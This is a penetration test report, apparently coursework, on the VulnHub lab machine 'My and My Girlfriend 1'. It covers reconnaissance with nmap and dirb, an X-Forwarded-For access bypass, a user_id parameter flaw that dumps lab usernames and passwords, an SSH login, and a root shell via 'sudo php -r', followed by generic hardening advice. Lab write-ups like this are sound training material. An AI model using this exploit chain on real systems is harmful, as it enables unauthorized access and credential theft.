Penetration Test Report

Ceban Corp

1801 Ασφάλεια Πληροφοριακών Συστημάτων

Vulnhub: My and My Girlfriend 1

Table of Contents

Introduction

Team Security was contracted by Bob to conduct a penetration test in order to get what Alice is hiding and get full access to the company. All activities were conducted in a manner that simulated a malicious actor engaged in a targeted attack against Ceban Corp with the goals of:

- Finding the two flags
- Get root access
- Find Alice secret

Efforts were placed on the identification and exploitation of security weaknesses that could allow a remote attacker to gain unauthorized access to organizational data. The attacks were conducted with the level of access that a general Internet user would have.

Attack Narrative - Enumeration

Local System Setup

For the purposes of this assessment, a clone of the Ceban Corp system had to be locally run on virtualbox. The network connection to the machine was set to nat

System IP Discovery

The virtual machine ip was found using netdiscover using the command:

```
sudo netdiscover
```

System Info - Vulnerability Scan

To detect vulnerabilities we used Nmap Intense scan. The results where a ssh port running ubuntu linux and a http port running apache 2.4.7

```
nmap -A -T4 -v 192.168.0.14
```

```
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
```

System Info - Directory Listing

Also, directory listing using dirb was performed to find any potential vulnerabilities. The directory listing was successful returning the servers directories

```
dirb -w http://192.168.0.14
```

```
http://192.168.0.14/index.php
```

```
http://192.168.0.14/misc/process.php
```

```
http://192.168.0.14/config/config.php
```

```
http://192.168.0.14/heyhoo.txt
```

Attack Narrative - Penetration

Headers Capture from web server

The header used in the https request was captured using FIddle which logs all HTTP(S) traffic.

Local access bypass to the web server

WIth X-Forwarded-For Header extension we customize the above header to get local access.

Login credentials from the web server

form action="#" -> POSTS data on index.php?page=profile , *user_id* allows us to get all the names, uname, password values and with that we were able to find all the usernames and passwords.

```
1.eweuhtandingan:skuyatuh

2.aingmaung:qwerty!!!

3.sundatea:indONEsia

4.sedihaingmah:cedihhihihi

5.alice:4lic3  ← Alice's credentials

6.abdikasepak:dorrrrr
```

Login as Alice - capture the first flag

Using the above credentials we were able to get access in Alice's computer and capture the first flag.

```
ssh 192.168.1.13 -l alice
```

password → `4lic3`

Attack Narrative - Privilege Escalation

Exploiting php shell

Being logged in as Alice we found that she has root access on /usr/bin/php. With a php shell and the below command root access was granted.

```
sudo php -r 'shell_exec("sudo /bin/bash -i 1>&0");'
```

Capture the second flag

Running the cat command as root returned the second flag.

```
cd /root && cat flag*
```

Solutions and Recommendations

Web server

Possible defenses include blocking the probes, restricting information returned, slowing down the Nmap scan, and returning misleading information. Services which the public doesn't need to reach should be blocked at the firewall. If employees need to reach them, perhaps they can use the VPN instead. Furthermore make sure the firewall is dropping the packets rather than responding with an ICMP error or TCP RST. Another tenet of firewalls is defense in depth. Even though ports are blocked by the firewall, make sure they are closed (no application is listening) anyway. Since a port scanner is pretty impotent against ports that are both closed and filtered.

Disable XFF

Each request for a web page or resource gets in the server response not only the actual content but also a bunch of headers.The header is a piece of information sent with the request and response for each resource that helps to client and server to communicate with each other

Why might you want to remove an HTTP response header?

The unnecessary headers mean a bigger size of the response which may increase the page loading time. Even though the header's size is relatively small it's a waste of bandwidth to send useless headers along each server response. In addition, some headers may expose information like your server platform and software versions that later could be used by someone to attack the server through well-known vulnerabilities on that particular system.

To remove a response header in Apache use the Header directive along the unset argument. The Header directive could be used in server config, virtual host, or site specific .htaccess.

```
Header unset X-Powered-By
```

Data Storage

Data stored on the web server shouldn't be easily accessible, stored in php. There are two options:

1) Create a database and store the data there
2) Update php implementation if database is not feasible and require authentication before accessing the user credentials.

Employees Credential

Here are common ways your can improve password management from the top down

1) Blacklist common password choices like **qwerty**!!!, these are the top 100000 used passwords [11].
2) Prevent shared passwords. Systems that are used rarely often have a single password that employees share, which is risky. Instead, deploy hardware tokens like RFID badges if possible.
3) Search for plain-text passwords in employees' files. Employees often save a document or email with their work-related passwords in plain text. These files are easy to find with a few standard searches. If an employee is using this method, the text must be encrypted.
4) Force passwords that include numbers, symbols, capital letters, and lower-case letters. Use a mix of different types of characters to make the password harder to crack.

Elevated privileges

Employees should not have access to sudo this can be very dangerous. Remove a user by typing the below command.

```
sudo deluser Alice sudo
```

Then verify that it had been successful using this command.

```
sudo -l -U Alice
```

Conclusion

The Ceban Corp suffered a series of control failures, which led to a complete compromise of critical company assets. These failures would have had a dramatic effect on the real server operations if a malicious party had exploited them. Current policies concerning password reuse and deployed access controls are not adequate to mitigate the impact of the discovered vulnerabilities. The specific goals of the penetration test were stated as:

- ❏ Identify the two flags
- ❏ Get root access
- ❏ Find if Alice is cheating

These goals of the penetration test were met. A targeted attack against the real server can result in a complete compromise of organizational assets. Multiple issues that would typically be considered minor were leveraged in concert, resulting in a total compromise of the Ceban Corp's information systems. It is important to note that this collapse of the entire Ceban Corp security infrastructure can be greatly attributed to insufficient access controls at both the network boundary and host levels. Appropriate efforts should be undertaken to introduce effective network segmentation, which could help mitigate the effect of cascading security failures throughout the Ceban Corp infrastructure.